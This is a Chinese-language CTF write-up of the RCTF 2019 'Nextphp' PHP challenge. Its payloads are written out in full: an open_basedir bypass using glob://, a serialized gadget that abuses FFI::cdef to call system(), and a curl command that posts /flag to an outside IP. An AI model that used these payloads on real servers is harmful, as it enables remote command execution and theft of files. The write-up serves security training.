[web][2019RCTF]Nextphp writeup

[web][RCTF 2019]Nextphp writeup

[web][2019RCTF]Nextphp writeup_第1张图片
题目开始就给了webshell,看看phpinfo

/?a=phpinfo();

[web][2019RCTF]Nextphp writeup_第2张图片
根目录没有权限读文件,可以用glob://伪协议绕过open_basedir

?a= $a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}

[web][2019RCTF]Nextphp writeup_第3张图片
[web][2019RCTF]Nextphp writeup_第4张图片
发现当前目录有个preload.php

/?a=print_r(scandir(%27.%27));
# Array ( [0] => . [1] => .. [2] => index.php [3] => preload.php )

[web][2019RCTF]Nextphp writeup_第5张图片
利用文件包含读一下preload.php的源码(应该也可以利用highlight_file花式读源码)

?a=echo"hello";?>

[web][2019RCTF]Nextphp writeup_第6张图片
preload.php


final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'print_r',
        'arg' => '1'
    ];
    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }
    public function __serialize(): array {
        return $this->data;
    }
    public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }
    public function serialize (): string {
        return serialize($this->data);
    }
    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }
    public function __get ($key) {
        return $this->data[$key];
    }
    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }
    public function __construct () {
        throw new \Exception('No implemented');
    }
}

在phpinfo里可以看到,php7.4利用php.ini开启opcache预加载(opcache.preload)
在这里插入图片描述
还开启了FFI
在这里插入图片描述
本来想直接利用ffi,但是会报错,看到mochazz大佬的博客明白了
[web][2019RCTF]Nextphp writeup_第7张图片
所以在preload.php利用反序列化,借FFI接口调用system函数
php脚本


final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'FFI::cdef',
        'arg' => 'int system(const char *command);'
    ];
    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }
}
$a = new A;
echo serialize($a);

# C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char *command);";}}

然后利用run方法执行,借ffi调用的system函数(其实我也不知道为啥利用ffi然后就有权限读/flag了)
payload

?a=$a=unserialize('C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char *command);";}}');var_dump($a->ret->system('ls'));

但是他是没有回显的,反弹shell也报错,所以用curl将flag带出

?a=$a=unserialize('C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char *command);";}}');print_r($a->ret->system('curl -d @/flag 106.xxxxxx:7895'));

[web][2019RCTF]Nextphp writeup_第8张图片
像这种无回显的情况,也可以用重定向将根目录的flag写到www/var/html目录,直接访问查看

参考wp:https://blog.csdn.net/fmyyy1/article/details/116998001

你可能感兴趣的:(ctf,#,web,php,反序列化,ctf,命令执行,curl)